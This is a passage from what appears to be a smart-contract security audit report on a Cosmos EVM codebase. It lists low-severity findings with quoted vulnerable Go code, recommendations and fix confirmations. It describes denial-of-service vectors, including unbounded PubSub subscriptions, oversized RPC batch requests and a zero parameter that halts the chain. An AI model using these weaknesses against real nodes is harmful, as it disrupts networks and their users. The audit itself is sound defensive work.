  --private-key xxxx \
  --nonce 100 \
  --gas-price 10gwei \
  --rpc-url http://127.0.0.1:8545
```

Impact

This bug prevents users from successfully sending transactions with a specified nonce to any Go-based Ethereum node, including Geth and other common clients. It significantly limits the utility of `cast` for developers working with these nodes, forcing them to use alternative tools for sending transactions.

Tool Used

Foundry

Recommendation

The serialization logic in `cast` should be corrected to ensure that numeric JSON-RPC parameters (such as `nonce` and `gasPrice`) are encoded as JSON numbers, not strings.

Discussion

defsec

Fix is confirmed.

Issue L-25: Precompile journal recording timing issue

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/585

Summary

The precompile implementation records journals after logic execution rather than before, causing revert failures during errors and requiring immediate reverts that deviate from standard EVM behavior.

Vulnerability Detail

The precompile execution flow has a fundamental timing issue where state journals are recorded after the core logic execution instead of before, which prevents proper revert mechanisms when errors occur.

Impact

Implementation doesn't follow standard EVM journal-based revert mechanism.

Code Snippet

```
return p.RunAtomic(snapshot, stateDB, func() ([]byte, error) {
    // Logic executed before journals are recorded
    bz, err = p.HandleMethod(ctx, contract, stateDB, method, args)
    if err != nil {
        return nil, err  // No journals to revert!
    }

    cost := ctx.GasMeter().GasConsumed() - initialGas
    if !contract.UseGas(cost, nil, tracing.GasChangeCallPrecompiledContract) {
        return nil, vm.ErrOutOfGas
    }

    // ISSUE: Journals added AFTER logic execution
    if err := p.AddJournalEntries(stateDB, snapshot); err != nil {
        return nil, err
    }
    return bz, nil
})
```

Tool Used

Manual Review

Recommendation

Consider implementing Go ethereum approach.

Discussion

Eric-Warehime

Resolved via https://github.com/cosmos/evm/pull/244

cloudgray

@defsec @Eric-Warehime FYI, this issue is resolved via cosmos/evm#205 . cosmos/evm#244 is related at some point, but does not directly resolve this issue.

And I backported cosmos/evm#205 to https://github.com/cosmos/evm-internal/pull/50

You can check this line.

The most important thing is taking a snapshot before precompile run. That is what geth EVM.Call method does.

defsec

Fix is tested and didn't notice an issue.

Issue L-26: txpool RPC methods return stubbed data instead of real transaction pool state

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/590

Summary

The `txpool` module in the Cosmos EVM implementation defines the public-facing RPC methods `Content`, `Inspect`, and `Status`, but currently returns hardcoded empty responses. This results in incomplete or misleading behavior, as the transaction pool is not actually queried or surfaced via these APIs.

Vulnerability Detail

The `Content`, `Inspect`, and `Status` methods in the `txpool.PublicAPI` implementation do not interact with any underlying transaction pool. Instead, they return static or empty data structures that do not reflect the actual state of the transaction pool. This contradicts the expected behavior of the Ethereum JSON-RPC API, where:

- `txpool_content` should return actual pending and queued transactions.
- `txpool_inspect` should return a flattened view of pending/queued txs (as strings).
- `txpool_status` should reflect actual counts of transactions.

This incomplete implementation may mislead integrators or tooling relying on this data.

Impact

Consumers of the `txpool` RPC API (such as wallets, dapps, or monitoring tools) will receive inaccurate information.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/evm/rpc/namespaces/ethereum/txpool/api.go#L47

Tool Used

Manual Review

Recommendation

Integrate the `txpool` API with the actual transaction pool backend.

Discussion

aljo242

https://github.com/evmos/ethermint/issues/124 allowbreak #issuecomment-864072256

This decision was explicitly made by the previous team.

ACK on this issue - this is not a security vulnerability and is just missing functionality. We will add this to a queue of feature work post audit

defsec

Thank you, marked as an acknowledged.

Issue L-27: Lack of check on the `ElasticityMultiplier` leads to division by zero

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/594

Summary

The `CalculateBaseFee` function in the `x/feemarket` module is vulnerable to a division by zero error if the `ElasticityMultiplier` parameter is set to 0. Although there's a comment stating that `ElasticityMultiplier` cannot be 0, the parameter validation function `validateElasticityMultiplier` does not enforce this constraint, allowing a malicious or misconfigured governance proposal to set it to zero.

Vulnerability Detail

The EIP-1559 base fee calculation relies on the `ElasticityMultiplier` to determine the `parentGasTarget`. The relevant line in `evm/x/feemarket/keeper/eip1559.go` is:

```
parentGasTargetInt :=
↪  gasLimit.Quo(sdkmath.NewIntFromUint64(uint64(params.ElasticityMultiplier)))
```

If `params.ElasticityMultiplier` is 0, `sdkmath.NewIntFromUint64(uint64(params.ElasticityMultiplier))` evaluates to `sdkmath.NewInt(0)`. Dividing `gasLimit` by `sdkmath.NewInt(0)` will cause a runtime panic due to division by zero.

Impact

If `ElasticityMultiplier` is set to 0, any attempt to calculate the base fee for a new block will result in a node crash due to division by zero. This can lead to a chain halt or prevent nodes from syncing.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/feemarket/types/params.go#L154-L155

Tool Used

Manual Review

Recommendation

Modify the `validateElasticityMultiplier` function in `evm/x/feemarket/types/params.go` to explicitly check that the `ElasticityMultiplier` is not zero. This will prevent governance proposals from setting the parameter to a value that would cause a chain halt.

Discussion

defsec

Fix is verified.

Issue L-28: Channel resource leak enables memory exhaustion in PubSub

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/599

Summary

The PubSub event bus implementation in `/evm/rpc/ethereum/pubsub/pubsub.go` contains a resource management issue where unbounded channel creation combined with inadequate cleanup mechanisms leads to severe memory exhaustion and denial of service attacks. The vulnerability stems from the `Subscribe` method creating unlimited unbuffered channels without proper resource limits, garbage collection safeguards, or timeout mechanisms.

Vulnerability Detail

The vulnerability exists in the `memEventBus.Subscribe` method where new channels are created for each subscription without any resource limits or proper lifecycle management:

```
func (m *memEventBus) Subscribe(name string) (<-chan coretypes.ResultEvent,
 ↪  UnsubscribeFunc, error) {
    m.topicsMux.RLock()
    _, ok := m.topics[name]
    m.topicsMux.RUnlock()

    if !ok {
        return nil, nil, errors.Errorf("topic not found: %s", name)
    }

    ch := make(chan coretypes.ResultEvent) // Unbounded channel creation
    m.subscribersMux.Lock()
    defer m.subscribersMux.Unlock()

    id := m.GenUniqueID()
    if _, ok := m.subscribers[name]; !ok {
        m.subscribers[name] = make(map[uint64]chan<- coretypes.ResultEvent) //
         ↪  Unbounded map growth
    }
    m.subscribers[name][id] = ch //  No limit on subscribers per topic

    unsubscribe := func() {
        m.subscribersMux.Lock()
        defer m.subscribersMux.Unlock()
        delete(m.subscribers[name], id) // Channel not closed, only removed from map
```

```
    }

    return ch, unsubscribe, nil
}
```

Each call to `Subscribe` creates a new unbuffered channel with `make(chan coretypes.ResultEvent)` without any limits on the total number of channels that can be created.

Impact

Each subscription creates an unbuffered channel (typically 8-16 bytes overhead plus buffer space). With 1 million subscriptions, memory usage can exceed several GB.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/ethereum/pubsub/pubsub.go#L78-L79

Tool Used

Manual Review

Recommendation

Consider implementing subscription limits/channel closure.

Discussion

defsec

The fix is confirmed.

Issue L-29: Replace custom address inclusion check with `slices.Contains`

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/603

Summary

The filters package defines a custom includes function to check whether a given common.Address exists in a list of addresses. While functionally correct, this logic can be simplified using Go's standard library `slices.Contains` introduced in Go 1.21+.

Vulnerability Detail

This not only reduces unnecessary code but also improves clarity and consistency with modern Go practices.

Impact

Reduces maintainability due to unnecessary custom logic.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/rpc/namespaces/ethereum/eth/filters/utils.go#L50-L51

Tool Used

Manual Review

Recommendation

Replace the custom includes function with slices.Contains for improved readability and maintainability.

```
func includes(addresses []common.Address, a common.Address) bool {
    return slices.Contains(addresses, a)
}
```

Discussion

defsec

Fix is confirmed.

Issue L-30: Create Hooks do not have enough context to know whether deployment is CREATE or CREATE2

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/607

Summary

Create Hooks are triggered for either CREATE or CREATE2, but have no way of identifying whether the operation that triggered it is a CREATE or CREATE2.

Vulnerability Detail

There is not enough context provided for Create Hooks to know what operation triggered it.

```
// @audit the same parameters are passed whether operation is CREATE or CREATE2
if err = evm.hooks.CreateHook(evm, caller); err != nil {
    return nil, common.Address{}, gas, err
}
```

Impact

Create hooks that need to know the address deployed to will not be possible.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/go-ethereum/core/vm/evm.go#L584-L586

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/main/go-ethereum/core/vm/evm.go#L596-L598

Tool Used

Manual Review

Recommendation

Consider including the contract address in the create hook and/or an identifier for the operation triggering it.

Discussion

cloudgray

Could you provide some additional explanation as to why this issue is problematic? It would be clearer if you illustrated it with a use case example.

Personally, I don't think this issue needs to be fixed:

- The contract address is deterministically derived from the transaction sender's `address` and `nonce` (and, in the case of `CREATE2`, the `salt`), so it can be predicted. I'm not sure why `CreateHook` would need to take it as an input.
- I also don't understand why an identifier distinguishing `CREATE` from `CREATE2` is necessary. Are you considering a use case where `CREATE` should be allowed but `CREATE2` shouldn't?

gjaldon

Hi @cloudgray. This issue is more of a recommendation and currently does not lead to any security vulnerability.

> The contract address is deterministically derived from the transaction sender's address and nonce (and, in the case of CREATE2, the salt), so it can be predicted. I'm not sure why `CreateHook` would need to take it as an input.

Currently, the `CreateHook` will be triggered when the CREATE or CREATE2 op happens. Although the deployment address can be deterministically derived, the hook does not have enough context to know whether the deployment address is CREATE2 or CREATE.

gjaldon

Hi @cloudgray, I would just like to confirm whether you are fixing this issue or not.

Currently, the `CreateHook` does not have enough context to know whether the operation is CREATE2 or CREATE. If the hook needs to compute the deployment address, it is unable to determine whether it should be a CREATE or CREATE2 address.

vladjdk

Hi @gjaldon, we'll mark this issue as acknowledged.

gjaldon

Understood @vladjdk. Thank you for taking a look

Issue L-31: Lack of rpc batch request and response size limits

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/610

Summary

The RPC server lacks proper limits on the size of incoming batch requests and outgoing batch responses. This vulnerability can be exploited by malicious actors to launch dos attacks, leading to memory exhaustion, CPU overload, and service unavailability.

Vulnerability Detail

Modern RPC interfaces often support batch requests, allowing clients to send multiple RPC calls within a single request. Similarly, the server responds with a single batch response containing the results of all batched calls.

An attacker can send extremely large batch requests (e.g., thousands of calls in one JSON payload) designed to consume excessive server memory and CPU during parsing and processing.

Example - Go Ethereum PR : https://github.com/ethereum/go-ethereum/pull/26681

Impact

The primary impact is the ability for an attacker to render the RPC server (and thus the node) unresponsive or crash it entirely by exhausting memory, CPU, or network resources.

Tool Used

Manual Review

Recommendation

Consider implementing size limits on the RPC server like a Go ethereum PR.

Discussion

defsec

The fix is confirmed. (https://github.com/cosmos/evm-internal/pull/45)

Issue L-32: Wrong denom prefix trimmed on ERC20 IBC transfers

Source: https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/issues/614

Summary

When a native ERC20 token is transferred via IBC, additional logic is executed to convert ERC20 tokens to native Cosmos tokens before the transfer. Within this logic, a wrong prefix is trimmed from the token denom: `erc20/` instead of `erc20:` While this doesn't seem to (substantially) influence the current token flow, this error may lead to vulnerabilities upon refactorings, and should be fixed.

Vulnerability Detail

evm/x/ibc/transfer/keeper/msg_server.go::Transfer trims prefix `erc20/` from the coin denom to arrive at the contract address, and to get the token denom pair:

```
    // use native denom or contract address
>>  denom := strings.TrimPrefix(msg.Token.Denom, erc20types.ModuleName+"/")

    pairID := k.erc20Keeper.GetTokenPairID(ctx, denom)
```

This is wrong, because `erc20:` prefix is used to convert ERC20 contract address into the token denom, see evm/x/erc20/types/proposal.go:

```
const (
// snip ...
    Erc20NativeCoinDenomPrefix        string = "erc20:"                // #nosec
)

// snip ...

// CreateDenom generates a string the module name plus the address to avoid
↪  conflicts with names staring with a number
func CreateDenom(address string) string {
    return Erc20NativeCoinDenomPrefix + address
}
```

The code in `evm/x/ibc/transfer/keeper/msg_server.go::Transfer` works only because `GetTokenPairID` accepts both token denoms and contract addresses. As a result, the following happens:

- The wrong prefix `erc20/` is trimmed; denom doesn't contain it, so it's a no-op

- `GetTokenPairID` is called with the original denom instead of the supposed contract address, but as it accepts both, the correct token pair is retrieved

Impact

The correct functionality of the aforementioned incorrect code hinges on the particularities of `GetTokenPairID` implementation; if it's changed, the code will stop to work.

Moreover, suppose the following:

- A native ERC20 token pair with the denom `erc20:0x29DbB66c82276860A18DC0e20238bF028F9D5943` is registered
- It becomes somehow possible to register a native coin with the denom `erc20/0x29DbB66c82276860A18DC0e20238bF028F9D5943`

Then these two denoms will be confused by the code in question, and it will operate on both denoms, leading to unforeseeable consequences.

Code Snippet

https://github.com/sherlock-audit/2025-05-interchain-labs-evm-update-may-19th/blob/3ae10aa8a9b7fa4a23dbe5a182e0c0edfd097b03/evm/x/ibc/transfer/keeper/msg_server.go#L45-L48

Tool Used

Manual Review

Recommendation

Employ the correct ERC20 token denom prefix `erc20:`, this is best done by referring to the Erc20NativeCoinDenomPrefix constant.

Discussion

kuprumxyz

The fix is confirmed: `erc20types.Erc20NativeCoinDenomPrefix` is now trimmed, instead of the wrongly hardcoded prefix.

Disclaimers

Sherlock does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.